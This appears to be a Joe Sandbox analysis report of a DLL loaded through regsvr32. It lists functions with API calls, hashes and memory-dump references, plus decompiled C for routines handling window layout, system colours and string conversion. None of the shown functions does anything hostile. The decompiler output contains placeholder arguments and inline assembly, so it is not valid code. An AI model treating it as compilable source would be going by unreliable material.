Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 4ce0aeb88933615b5d5f336c73d0cf1da3706bc9fddc74f32d5f734555c16193
Instruction ID: 50b3e5e4ef5d85d0bfd4072cb2e9f6e039162d5d35bebeabd18fbeb5ac538993
Opcode Fuzzy Hash: 4ce0aeb88933615b5d5f336c73d0cf1da3706bc9fddc74f32d5f734555c16193
Instruction Fuzzy Hash: 3C21FF36215B80C6EB618F51F898B9EB3A4F788798F505215EACD47B54DF7DC5888B00

Uniqueness

Uniqueness Score: -1.00%

Function 1000D8D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 1000D8E2
LoadLibraryA.KERNEL32 ref: 1000D8EF
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 1000D905
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 1000D91A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 1000D92A

Strings

version.dll, xrefs: 1000D8E8

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: version.dll
API String ID: 2449869053-4121253108
Opcode ID: d02c94658eba0905071af93d040ca40b9502cd8d85444b89dce06ba2918f196b
Instruction ID: 9d2e09cee8286a7d5ae0576672997f999da8ed7dfcf295a2e8f006156bc86b9c
Opcode Fuzzy Hash: d02c94658eba0905071af93d040ca40b9502cd8d85444b89dce06ba2918f196b
Instruction Fuzzy Hash: 7E011E36602A0182EF05DF21E85476C63A5FB88F98F148425CA4D47369DFB8C8E5DB61

Uniqueness

Uniqueness Score: -1.00%

Function 10029184 Relevance: 10.5, APIs: 7, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 10029193
GetSystemMetrics.USER32 ref: 100291A1
GetSystemMetrics.USER32 ref: 100291AF
GetSystemMetrics.USER32 ref: 100291C3
GetDC.USER32 ref: 100291D4
GetDeviceCaps.GDI32 ref: 100291E5
GetDeviceCaps.GDI32 ref: 100291F6

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MetricsSystem$CapsDevice
String ID:
API String ID: 4163108049-0
Opcode ID: 87edb791931a5db072f5347cd0bae9134690328245889db521355086a3866347
Instruction ID: fb0ae31d2cf9c3c506a3cffb05db77d2927e5ef6170eed63c499d0595d692bf0
Opcode Fuzzy Hash: 87edb791931a5db072f5347cd0bae9134690328245889db521355086a3866347
Instruction Fuzzy Hash: 1B014F75A01A0087EB0A5F72FD1979972A1F74DB62F048439CA8E87790EFBC84D59F11

Uniqueness

Uniqueness Score: -1.00%

Function 10005CB8 Relevance: 10.5, APIs: 7, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 10005CC2
GetWindowRect.USER32 ref: 10005CD8
ScreenToClient.USER32 ref: 10005CFA
ScreenToClient.USER32 ref: 10005D08
GetDC.USER32 ref: 10005D11
DrawFocusRect.USER32 ref: 10005D22
ReleaseDC.USER32 ref: 10005D2E

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ClientRectScreen$DrawFocusParentReleaseWindow
String ID:
API String ID: 3035205668-0
Opcode ID: b5513223e210884437f35b9aa267bb773733a6ea5233439f7990ce2e78d1d4b2
Instruction ID: 80136fce43ff16d8163122f2276287d2c6963073b890235b87564b78b6e7444d
Opcode Fuzzy Hash: b5513223e210884437f35b9aa267bb773733a6ea5233439f7990ce2e78d1d4b2
Instruction Fuzzy Hash: E0014F7220474486DE268B15BD483AD6361F7CDBD9F480114DD8E06B18EF6CC789CF01

Uniqueness

Uniqueness Score: -1.00%

Function 10029110 Relevance: 10.5, APIs: 7, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

GetSysColor.USER32 ref: 1002911E
GetSysColor.USER32 ref: 1002912C
GetSysColor.USER32 ref: 1002913A
GetSysColor.USER32 ref: 10029148
GetSysColor.USER32 ref: 10029156
GetSysColorBrush.USER32 ref: 10029164
GetSysColorBrush.USER32 ref: 10029173

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: a4f02767016f96ead44b990072a34842658ccb53ddda2032b9c870616ee1ab6e
Instruction ID: d8f8ab96e9484c97b73cd1d7fcea0bb979aeb8f57c2918884f7da60f2d52abde
Opcode Fuzzy Hash: a4f02767016f96ead44b990072a34842658ccb53ddda2032b9c870616ee1ab6e
Instruction Fuzzy Hash: F6F0B775912B0587E75A5FB4F85C3A83665F74CB15F001428CB8A47394EF7E84D4AB10

Uniqueness

Uniqueness Score: -1.00%

Function 1002826C Relevance: 9.2, APIs: 6, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E1002826C(void* __ebx, signed int __ecx, void* __esi, void* __ebp, long long __rcx, long long __rdx, long long __r8, void* __r15) {
				signed int _v56;
				char _v328;
				char _v344;
				char _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				signed int _v388;
				signed int _v392;
				intOrPtr _v408;
				signed int _v416;
				void* _v424;
				signed char _t69;
				signed short _t71;
				signed long long _t72;
				void* _t104;
				void* _t107;
				signed int _t112;
				signed int _t114;
				void* _t116;
				void* _t117;
				signed long long _t128;
				signed long long _t138;
				signed long long _t139;
				long long _t140;
				long long _t164;
				long long _t171;
				long long _t172;
				signed long long _t173;
				intOrPtr _t176;
				void* _t177;
				void* _t178;
				void* _t179;

				_t179 = __r15;
				_t175 = __r8;
				_t164 = __rdx;
				_t117 = __ebp;
				_t116 = __esi;
				_t105 = __ecx;
				_t104 = __ebx;
				_t174 =  &_v424;
				_t138 =  *0x100b1640; // 0xf93099fb11e7
				_t139 = _t138 ^  &_v424;
				_v56 = _t139;
				_t140 = __r8;
				_t172 = __rdx;
				_t171 = __rcx;
				if(__rcx == 0) {
					E1000E3A4();
					asm("int3");
				}
				if(_t164 == 0) {
					E1000E3A4();
					asm("int3");
				}
				_t165 =  &_v368;
				GetWindowRect(??, ??);
				if( *((intOrPtr*)(_t172 + 0xf0)) != _t171) {
					L7:
					if( *((intOrPtr*)(_t171 + 0x100)) != 0 && ( *(_t172 + 0xe0) & 0x00000040) != 0) {
						 *(_t171 + 0xdc) =  *(_t171 + 0xdc) | 0x00000040;
					}
					 *(_t171 + 0xdc) =  *(_t171 + 0xdc) & 0xfffffff9;
					_t69 =  *(_t172 + 0xdc) & 0x00000006 |  *(_t171 + 0xdc);
					 *(_t171 + 0xdc) = _t69;
					if((_t69 & 0x00000040) == 0) {
						r8d = 0x104;
						E10019BB0(_t107, _t116, _t139, _t172,  &_v328, _t175, _t176);
						_t165 =  &_v328;
						E10029BE0( *((intOrPtr*)(_t171 + 0x40)),  &_v328, _t175, _t176);
					}
					_t112 = ( *(_t172 + 0xdc) ^  *(_t171 + 0xdc)) & 0x0000f000 ^  *(_t172 + 0xdc) | 0x00000f00;
					_t127 =  *((intOrPtr*)(_t171 + 0x100));
					if( *((intOrPtr*)(_t171 + 0x100)) == 0) {
						_t113 = _t112 & 0xfffffffe;
						__eflags = _t112 & 0xfffffffe;
					} else {
						_t113 = _t112 | 0x00000001;
					}
					E1002409C(_t113, _t127, _t139, _t172);
					_t71 = GetDlgCtrlID(??);
					r8d = 0xffffffff;
					_t114 = _t71 & 0x0000ffff;
					_t72 = E100279C8(_t104, _t105, _t114, _t171, _t165, _t176, _t177);
					_t128 = _t72;
					_t173 = _t72;
					if(_t128 <= 0) {
						L19:
						_t130 = _t140;
						if(_t140 == 0) {
							goto L24;
						} else {
							CopyRect();
							_t165 =  &_v392;
							E1000F3D0(_t130, _t171,  &_v392);
							if(_t117 < 1) {
								asm("movaps xmm0, [esp+0x40]");
								_t175 =  &_v344;
								asm("movdqa [esp+0x70], xmm0");
								asm("cdq");
								_v376 = (_v384 - _v392 - _t114 >> 1) + _v392;
								asm("cdq");
								_t165 = _t172;
								_v372 = (_v380 - _v388 - _t114 >> 1) + _v388;
								_t176 = _v376;
								E10027A58(_t104, _t105, _t139, _t171, _t172,  &_v344, _t176);
							}
							r9d = _v388;
							r8d = _v392;
							_t105 = _v380 - r9d;
							_v408 = 0x114;
							_v416 = _v380 - r9d;
							_v424 = _v384 - r8d;
						}
					} else {
						if(_t128 < 0 || _t173 >=  *((intOrPtr*)(_t171 + 0x118))) {
							E1000E3A4();
							asm("int3");
							L24:
							__eflags = _t117 - 1;
							if(_t117 < 1) {
								_t175 = _t172;
								E1002D51C(_t114, _t139, _t171 + 0x108,  *((intOrPtr*)(_t171 + 0x118)), _t172);
								_t165 =  *((intOrPtr*)(_t171 + 0x118));
								r8d = 0;
								__eflags = r8d;
								E1002D51C(_t114, _t139, _t171 + 0x108,  *((intOrPtr*)(_t171 + 0x118)), _t172);
							}
							r9d =  *0x100b72f4; // 0x2
							r8d =  *0x100b72f0; // 0x2
							_v408 = 0x115;
							r9d =  ~r9d;
							_v416 = 0;
							_v424 = 0;
							r8d =  ~r8d;
						} else {
							 *((long long*)( *((intOrPtr*)(_t171 + 0x110)) + _t173 * 8)) = _t172;
							goto L19;
						}
					}
					E10019AD8(_t172, _t165);
					GetParent(??);
					E10014360(_t104, 0, _t139, _t139, _t165, _t175, _t176, _t178);
					if(_t139 != _t171) {
						SetParent();
						E10014360(_t104, 0, _t139, _t139,  *((intOrPtr*)(_t171 + 0x40)), _t175, _t176, _t178);
					}
					_t149 =  *((intOrPtr*)(_t172 + 0xf0));
					if( *((intOrPtr*)(_t172 + 0xf0)) != 0) {
						r9d = 0;
						_t61 = _t176 - 1; // -1
						r8d = _t61;
						E10027D18(_t104, _t105, 0, _t116, _t149, _t172, _t179);
					}
					 *((long long*)(_t172 + 0xf0)) = _t171;
					E1001E7D0(_t139, _t171);
					 *(_t139 + 0x170) =  *(_t139 + 0x170) | 0x0000000c;
				} else {
					if(_t140 != 0) {
						_t165 = _t140;
						if(EqualRect(??, ??) == 0) {
							goto L7;
						}
					}
				}
				return E1002FF40(_t105, _v56 ^ _t174);
			}

0x1002826c
0x1002826c
0x1002826c
0x1002826c
0x1002826c
0x1002826c
0x1002826c
0x10028271
0x10028278
0x1002827f
0x10028282
0x1002828d
0x10028290
0x10028293
0x10028296
0x10028298
0x1002829d
0x1002829d
0x100282a1
0x100282a3
0x100282a8
0x100282a8
0x100282ad
0x100282b2
0x100282bf
0x100282e0
0x100282e7
0x100282f2
0x100282f2
0x100282f9
0x10028309
0x10028311
0x10028317
0x10028321
0x1002832a
0x10028333
0x1002833b
0x1002833b
0x10028358
0x1002835e
0x10028365
0x1002836c
0x1002836c
0x10028367
0x10028367
0x10028367
0x10028372
0x1002837b
0x10028381
0x1002838a
0x1002838d
0x10028392
0x10028394
0x10028397
0x100283b7
0x100283b7
0x100283ba
0x00000000
0x100283c0
0x100283c8
0x100283ce
0x100283d6
0x100283de
0x100283e4
0x100283e9
0x100283f5
0x100283fb
0x10028404
0x10028410
0x10028413
0x1002841c
0x10028420
0x10028425
0x10028425
0x1002842e
0x10028437
0x1002843c
0x1002843f
0x1002844a
0x1002844e
0x1002844e
0x10028399
0x10028399
0x10028454
0x10028459
0x1002845a
0x1002845a
0x1002845d
0x1002846d
0x10028470
0x10028475
0x10028483
0x10028483
0x10028486
0x10028486
0x1002848b
0x10028492
0x10028499
0x100284a1
0x100284a4
0x100284ac
0x100284b4
0x100283ac
0x100283b3
0x00000000
0x100283b3
0x10028399
0x100284bc
0x100284c5
0x100284ce
0x100284d6
0x100284e0
0x100284e9
0x100284e9
0x100284ee
0x100284f8
0x100284fa
0x10028500
0x10028500
0x10028504
0x10028504
0x1002850c
0x10028513
0x10028518
0x100282c1
0x100282c4
0x100282cf
0x100282da
0x00000000
0x00000000
0x100282da
0x100282c4
0x1002853a

APIs

GetWindowRect.USER32 ref: 100282B2
EqualRect.USER32 ref: 100282D2
GetDlgCtrlID.USER32 ref: 1002837B
CopyRect.USER32 ref: 100283C8

Part of subcall function 10019AD8: SetWindowPos.USER32 ref: 10019B12

GetParent.USER32 ref: 100284C5
SetParent.USER32 ref: 100284E0

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Rect$ParentWindow$CopyCtrlEqual
String ID:
API String ID: 1662903855-0
Opcode ID: c98863554f37e6804fecb4af89a5ef877bf4ef4c6ab6b9bdd218b5ffb7fa4772
Instruction ID: 3c04473843ad474c68e6fa8c83c4acf804ee7b56ba6b267a93a79b77b1885634
Opcode Fuzzy Hash: c98863554f37e6804fecb4af89a5ef877bf4ef4c6ab6b9bdd218b5ffb7fa4772
Instruction Fuzzy Hash: 9661D37A205A828BEB18DB35F9417AEB7A0FB85BC0F804111EF9947A58DF7CE545CB00

Uniqueness

Uniqueness Score: -1.00%

Function 100458A0 Relevance: 9.2, APIs: 6, Instructions: 167
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E100458A0(int __edx, long long __rbx, intOrPtr* __rcx, signed long long __rdi, long long __rsi, signed long long __r8, void* __r10, void* __r11, long long __r12, long long __r13, long long __r14, long long __r15) {
				int _t47;
				int _t48;
				int _t56;
				void* _t57;
				int _t59;
				int _t65;
				void* _t72;
				int _t76;
				int _t77;
				int _t78;
				int _t83;
				signed long long _t93;
				signed long long _t94;
				signed long long _t97;
				signed long long _t101;
				void* _t106;
				void* _t108;
				signed long long _t111;
				signed long long _t116;
				void* _t118;
				void* _t119;
				signed long long _t127;
				void* _t130;
				void* _t131;
				intOrPtr* _t133;
				int _t135;
				signed long long _t139;

				_t141 = __r15;
				_t136 = __r13;
				_t131 = __r11;
				_t130 = __r10;
				_t113 = __rsi;
				_t111 = __rdi;
				_t99 = __rbx;
				 *((intOrPtr*)(_t118 + 0x20)) = r9d;
				_t119 = _t118 - 0x80;
				_t116 = _t119 + 0x30;
				 *((long long*)(_t116 + 0x48)) = __rbx;
				 *((long long*)(_t116 + 0x40)) = __rsi;
				 *((long long*)(_t116 + 0x38)) = __rdi;
				 *((long long*)(_t116 + 0x30)) = __r12;
				 *((long long*)(_t116 + 0x28)) = __r13;
				 *((long long*)(_t116 + 0x20)) = __r14;
				 *((long long*)(_t116 + 0x18)) = __r15;
				_t93 =  *0x100b1640; // 0xf93099fb11e7
				_t94 = _t93 ^ _t116;
				 *(_t116 + 8) = _t94;
				_t47 =  *0x100b855c; // 0x1
				_t139 = __r8;
				r15d = __edx;
				_t133 = __rcx;
				if(_t47 != 0) {
					L12:
					if(_t47 == 2 || _t47 == 0) {
						goto L5;
					} else {
						if(_t47 != 1) {
							goto L10;
						} else {
							goto L15;
						}
					}
				} else {
					r8d = 1;
					_t127 = _t116;
					_t67 = r8d;
					if(GetStringTypeW(??, ??, ??, ??) == 0) {
						if(GetLastError() != 0x78) {
							_t47 =  *0x100b855c; // 0x1
							goto L12;
						} else {
							 *0x100b855c = 2;
							L5:
							_t77 =  *(_t116 + 0x90);
							if(_t77 == 0) {
								_t94 =  *_t133;
								_t77 =  *(_t94 + 0x14);
							}
							_t65 =  *(_t116 + 0x88);
							if(_t65 == 0) {
								_t94 =  *_t133;
								_t65 =  *(_t94 + 4);
							}
							_t67 = _t77;
							_t48 = E1004D2B0(_t127);
							if(_t48 != 0xffffffff) {
								if(_t48 == _t65) {
									L37:
									_t95 =  *((intOrPtr*)(_t116 + 0x80));
									r9d =  *((intOrPtr*)(_t116 + 0x78));
									_t67 = _t77;
									 *(_t119 + 0x20) =  *((intOrPtr*)(_t116 + 0x80));
									GetStringTypeA(??, ??, ??, ??, ??);
									if(_t111 != 0) {
										E1002E330(_t95, _t111);
									}
								} else {
									_t67 = _t65;
									 *((intOrPtr*)(_t119 + 0x28)) = 0;
									 *(_t119 + 0x20) = _t111;
									E1004D320(_t65, _t48, _t77, _t99, _t111, _t113, _t139, _t116 + 0x78, _t130, _t131, _t133, _t136, _t139, _t141);
									_t111 = _t94;
									if(_t94 == 0) {
										goto L10;
									} else {
										_t139 = _t94;
										goto L37;
									}
								}
							} else {
								goto L10;
							}
						}
					} else {
						 *0x100b855c = 1;
						L15:
						_t78 =  *(_t116 + 0x88);
						_t76 = 0;
						if(_t78 == 0) {
							_t78 =  *( *_t133 + 4);
						}
						r9d =  *((intOrPtr*)(_t116 + 0x78));
						_t67 = _t78;
						_t72 =  !=  ? 9 : 1;
						 *((intOrPtr*)(_t119 + 0x28)) = _t76;
						 *(_t119 + 0x20) = _t111;
						_t56 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
						_t83 = _t56;
						_t135 = _t56;
						if(_t83 == 0 || _t83 <= 0) {
							L10:
						} else {
							_t96 = 0xfffffff0;
							if(_t135 > 0xfffffff0) {
								goto L10;
							} else {
								_t106 = _t135 + _t135 + 0x10;
								if(_t106 > 0x400) {
									_t57 = E1002E260(0xfffffff0, _t99, _t106, _t111, _t113);
									_t101 = 0xfffffff0;
									if(0xfffffff0 != 0) {
										 *0xfffffff0 = 0xdddd;
										goto L27;
									}
									goto L28;
								} else {
									_t97 = _t106 + 0xf;
									if(_t97 <= _t106) {
										_t97 = 0xfffffff0;
									}
									_t96 = _t97 & 0xfffffff0;
									_t57 = E10055AC0(_t56, _t96, _t130, _t131);
									_t119 = _t119 - _t96;
									_t101 = _t119 + 0x30;
									if(_t101 == 0) {
										goto L10;
									} else {
										 *_t101 = 0xcccc;
										L27:
										_t101 = _t101 + 0x10;
										L28:
										if(_t101 == 0) {
											goto L10;
										} else {
											E1002E410(_t57, _t67, 0, _t101, 0x1009ce08, _t135 + _t135);
											r9d =  *((intOrPtr*)(_t116 + 0x78));
											_t67 = _t78;
											 *((intOrPtr*)(_t119 + 0x28)) = r12d;
											 *(_t119 + 0x20) = _t101;
											_t59 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
											if(_t59 != 0) {
												r8d = _t59;
												_t67 = r15d;
												_t76 = GetStringTypeW(??, ??, ??, ??);
											}
											_t31 = _t101 - 0x10; // -16
											_t108 = _t31;
											if( *((intOrPtr*)(_t101 - 0x10)) == 0xdddd) {
												E1002E330(_t96, _t108);
											}
										}
									}
								}
							}
						}
					}
				}
				return E1002FF40(_t67,  *(_t116 + 8) ^ _t116);
			}

0x100458a0
0x100458a0
0x100458a0
0x100458a0
0x100458a0
0x100458a0
0x100458a0
0x100458a0
0x100458a6
0x100458ad
0x100458b2
0x100458b6
0x100458ba
0x100458be
0x100458c2
0x100458c6
0x100458ca
0x100458ce
0x100458d5
0x100458d8
0x100458dc
0x100458e2
0x100458e5
0x100458ea
0x100458ed
0x10045973
0x10045976
0x00000000
0x1004597c
0x1004597f
0x00000000
0x00000000
0x00000000
0x00000000
0x1004597f
0x100458f3
0x100458f3
0x100458f9
0x10045904
0x1004590f
0x10045926
0x1004596d
0x00000000
0x10045928
0x10045928
0x10045932
0x10045932
0x1004593c
0x1004593e
0x10045942
0x10045942
0x10045945
0x1004594d
0x1004594f
0x10045953
0x10045953
0x10045956
0x10045958
0x10045960
0x10045a9a
0x10045ac4
0x10045ac4
0x10045acb
0x10045ad5
0x10045ad7
0x10045adc
0x10045ae7
0x10045aec
0x10045aec
0x10045a9c
0x10045aa5
0x10045aa7
0x10045aab
0x10045ab0
0x10045ab8
0x10045abb
0x00000000
0x10045ac1
0x10045ac1
0x00000000
0x10045ac1
0x10045abb
0x00000000
0x00000000
0x00000000
0x10045960
0x10045911
0x10045911
0x10045981
0x10045981
0x10045987
0x1004598b
0x10045991
0x10045991
0x1004599a
0x100459ab
0x100459ad
0x100459b0
0x100459b4
0x100459b9
0x100459bf
0x100459c1
0x100459c4
0x10045966
0x100459c8
0x100459c8
0x100459d5
0x00000000
0x100459d7
0x100459d7
0x100459e3
0x10045a1a
0x10045a22
0x10045a25
0x10045a27
0x00000000
0x10045a27
0x00000000
0x100459e5
0x100459e5
0x100459ec
0x100459ee
0x100459ee
0x100459f8
0x100459fc
0x10045a01
0x10045a04
0x10045a0c
0x00000000
0x10045a12
0x10045a12
0x10045a2d
0x10045a2d
0x10045a31
0x10045a34
0x00000000
0x10045a3a
0x10045a43
0x10045a48
0x10045a54
0x10045a56
0x10045a5b
0x10045a60
0x10045a68
0x10045a71
0x10045a77
0x10045a80
0x10045a80
0x10045a89
0x10045a89
0x10045a8d
0x10045a8f
0x10045a8f
0x10045a94
0x10045a34
0x10045a0c
0x100459e3
0x100459d5
0x100459c4
0x1004590f
0x10045b20

APIs

GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10045C52), ref: 10045907
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10045C52), ref: 1004591D

Part of subcall function 1002E260: RtlAllocateHeap.NTDLL(?,?,?,?,1000E249), ref: 1002E2C1

MultiByteToWideChar.KERNEL32 ref: 100459B9
MultiByteToWideChar.KERNEL32 ref: 10045A60
GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000A,10045C52), ref: 10045A7A
GetStringTypeA.KERNEL32 ref: 10045ADC

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$AllocateErrorHeapLast
String ID:
API String ID: 2745877085-0
Opcode ID: bd6d69227a162cc5a0273be9a28be263701706e3b6049d7d29aeff6d3ebf7dfc
Instruction ID: 7f2fcbd049e0938b270d76b5e1237641481a925c204555c09770f326f452d27d
Opcode Fuzzy Hash: bd6d69227a162cc5a0273be9a28be263701706e3b6049d7d29aeff6d3ebf7dfc
Instruction Fuzzy Hash: 55618E32300A80CADB20CF25D88039D37E4F748BE9F694625EE9D97B99DB79D944C744

Uniqueness

Uniqueness Score: -1.00%

Function 1002C4BC Relevance: 9.1, APIs: 6, Instructions: 130COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 1002C554
GetSystemMetrics.USER32 ref: 1002C563
GetSystemMetrics.USER32 ref: 1002C572
GetSystemMetrics.USER32 ref: 1002C585
IntersectRect.USER32 ref: 1002C5E6
IntersectRect.USER32 ref: 1002C64F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MetricsSystem$IntersectRect
String ID:
API String ID: 1124862357-0
Opcode ID: d4ed286ad3ce0a32557beafd8e777a94730d8d964b6e25edee826fdeec2184b2
Instruction ID: d6fed0f1243b0423b7d3dd9311eab7b48f86d8183fce7291260bd41326b0f73e
Opcode Fuzzy Hash: d4ed286ad3ce0a32557beafd8e777a94730d8d964b6e25edee826fdeec2184b2
Instruction Fuzzy Hash: A751F5B3A14645DBC764CF79E684A5EB7E1F788744F145225EB8983B18DB38E860CF00

Uniqueness

Uniqueness Score: -1.00%

Function 10038220 Relevance: 9.1, APIs: 6, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E10038220(intOrPtr __ebx, signed int __edx, void* __edi, long long __rbx, long long __rcx, signed long long* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9, long long __r12, long long __r13, signed int _a40, char _a56, intOrPtr _a72) {
				intOrPtr _v8;
				void* _v16;
				void* _v24;
				intOrPtr _v32;
				void* _v40;
				void* _v48;
				signed int _v88;
				signed int _v136;
				void* _v200;
				long long _v240;
				signed int _v248;
				intOrPtr _v252;
				char _v256;
				signed long long _v264;
				long long _v272;
				long long _v280;
				signed int _t63;
				signed int _t70;
				signed int _t71;
				signed int _t74;
				signed long long _t83;
				intOrPtr _t88;
				intOrPtr _t98;
				signed long long _t104;
				signed long long _t107;
				long long _t111;

				_t99 = __rsi;
				_t96 = __rdx;
				_t89 = __rcx;
				_t107 = _t104;
				_t83 =  *0x100b1640; // 0xf93099fb11e7
				_t84 = _t83 ^ _t104;
				_v88 = _t84;
				 *((long long*)(_t107 - 8)) = __rbx;
				 *((long long*)(_t107 - 0x10)) = __rbp;
				 *((long long*)(_t107 - 0x18)) = __rsi;
				 *((long long*)(_t107 - 0x20)) = __rdi;
				 *((long long*)(_t107 - 0x28)) = __r12;
				 *((long long*)(_t107 - 0x30)) = __r13;
				_t111 = __rcx;
				r12d = __edx;
				_t64 = 0x1f80;
				_t71 = r9d;
				E10044590(__ebx, __edi, __r8, __rcx, __rdx, __rdi, __rsi);
				_t70 = _a40;
				_v264 = _t84;
				_v252 = __ebx;
				asm("movss xmm0, [esp+0x3c]");
				_t63 = _t70 & 0x0000001f;
